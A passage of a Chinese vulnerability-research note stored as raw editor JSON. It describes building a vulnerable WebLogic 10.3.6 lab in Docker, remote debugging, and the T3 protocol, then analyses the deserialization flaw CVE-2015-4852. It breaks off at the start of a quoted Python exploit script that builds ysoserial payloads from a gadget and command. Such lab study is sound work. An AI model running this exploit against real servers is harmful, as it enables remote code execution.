34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TyTf-1673491074874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle官网即可下载：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;31K6-1673491372095&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Efh2-1673491372094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;G4Lb-1673491398542&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tuui-1673491398541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;21j4-1673491398543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1Qb-1673491377746&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lWtN-1673491377744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Gdxb-1673491405351&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yUOm-1673491405350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p069-1673491405353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QHi1-1673491372913&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Hq2i-1673491372911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wRTE-1673491443864&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f6Yo-1673491443862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Docker构建：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Tyv-1673491450914&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AWPP-1673491450913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PQ1J-1673491447976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3ESw-1673491451298&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3qUx-1673491451297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4l4-1673491451300&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Euem-1673491451299&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PAGA-1673491265699&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gZ6T-1673491265697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;由于Centos8已与2022年底停止维护，这里需要提前跟换yum源：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ioRW-1673491553354&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4909/WEBRESOURCE64df61f18e98bcb79d8b0f98f912edc4&#34;,&#34;width&#34;:605,&#34;height&#34;:355},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTa1-1673491588716&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q1JR-1673491588715&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WbdW-1673490309275&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN cd /etc/yum.repos.d/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IxgD-1673491597937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iP1E-1673491597936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s/mirrorlist/#mirrorlist/g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LVOL-1673491597939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N8SD-1673491597938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;RUN sed -i &#39;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g&#39; /etc/yum.repos.d/CentOS-*&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;37YC-1673491584697&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qwok-1673491584696&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置远程调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W4Lc-1673491696734&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JbMC-1673491696733&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jeO-1673491679517&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;kdir ./middleware&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmXZ-1673491697201&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gaX8-1673491697200&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xvVt-1673491697205&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RiTc-1673491697204&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nmaL-1673491697209&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W2O8-1673491697208&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ddTQ-1673491627410&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x5qG-1673491627409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将docker中的主要lib目录拷贝出来，IDEA直接打开wlserver并将coherence_3.7与modules作为lib导入项目：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5M1C-1673491870518&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4922/WEBRESOURCEa5f120f434b304501a2efab26d14445a&#34;,&#34;width&#34;:1326,&#34;height&#34;:476},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkdV-1673491584862&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rFG9-1673491584861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同时将/wlserver/server/lib目录作为lib导入：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DC8N-1673492159524&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4925/WEBRESOURCE609c5e20ad563040081ddacd597589e5&#34;,&#34;width&#34;:305,&#34;height&#34;:493},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t0ZA-1673491585004&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5jhS-1673491585003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;配置remote调试端口即可：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rNCt-1673492232548&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4930/WEBRESOURCEbbd544eff03ee1fb001e1a5a7ce37939&#34;,&#34;width&#34;:572,&#34;height&#34;:392},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h9vO-1673491585167&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QRf5-1673491585166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;启动调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JyD4-1673493026569&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4935/WEBRESOURCEd47bdc412d359d420c99b49fc71e14bc&#34;,&#34;width&#34;:2808,&#34;height&#34;:1516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wwoa-1673493052602&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4937/WEBRESOURCEda7147dbf613e3fd4381c0e4425f5c19&#34;,&#34;width&#34;:695,&#34;height&#34;:191},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OhB4-1673505623997&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZtnD-1673505623998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2NFu-1673493063764&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZDKD-1673493063762&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;T3协议：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ToWZ-1673493290157&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a5QT-1673493290156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic RMI是Weblogic对于Java RMI的实现，其主要使用Weblogic自有的T3协议和基于Corba的IIOP协议进行客户端与服务端之间的传输。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c4Ts-1673505380809&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fhpd-1673505380807&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;数据包中前四个字符描述数据包长度，而后为T3的协议头，同时每个标准反序列化头部aced0005前会新增一个fe010000字段：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DR8A-1673505381525&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4963/WEBRESOURCEe44aaacd6cc4d45e000151c0d2beac0f&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9eGc-1673493702659&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4952/WEBRESOURCEac5e2b49c529dd47e3d31d31627e229c&#34;,&#34;width&#34;:560,&#34;height&#34;:204},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ORod-1673493024074&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rhUQ-1673493024075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;更多内容参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tmgK-1673493762548&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecUD-1673493762547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;WqpW-1673493762925&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tjjy-1673493762926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knIi-1673493762938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bBNc-1673493748254&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6cJn-1673493748252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l79f-1673493773767&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IAlj-1673493773766&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2015-4852&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r5M5-1673851457133&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pZY7-1673851457134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IJI3-1673851463438&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u6bg-1673851463437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RzLZ-1673851502693&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jzUQ-1673851502692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d2HC-1673851496206&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;suVy-1673851496205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vkSr-1673851496208&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;WCRs-1673851496211&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PMGB-1673851496207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IKHp-1673851446141&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrmo-1673851446139&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kTy2-1673493798953&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0KZo-1673493798954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;找了一份&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;05Iv-1673503802099&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/u/38490&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QALS-1673503802101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;sp4z&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjr0-1673503802116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;师傅的脚本：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nDt2-1673503811887&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KSCC-1673503811886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jjmu-1673503809293&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from os import popen&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PeVu-1673503823677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KJVv-1673503823676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import struct # 负责大小端的转换&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mh9o-1673503823679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Wz7-1673503823678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import subprocess&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y06G-1673503823681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8jlr-1673503823680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;from sys import stdout&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DtyQ-1673503823683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K5nP-1673503823682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import socket&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;24qh-1673503823685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qk0X-1673503823684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import re&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kHOY-1673503823687&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FVh-1673503823686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import binascii&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;85R4-1673503823689&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fp9o-1673503823688&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UKR-1673503823691&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dZ67-1673503823690&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;def generatePayload(gadget,cmd):&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ylG4-1673503823693&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M2C4-1673503823692&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    YSO_PATH = 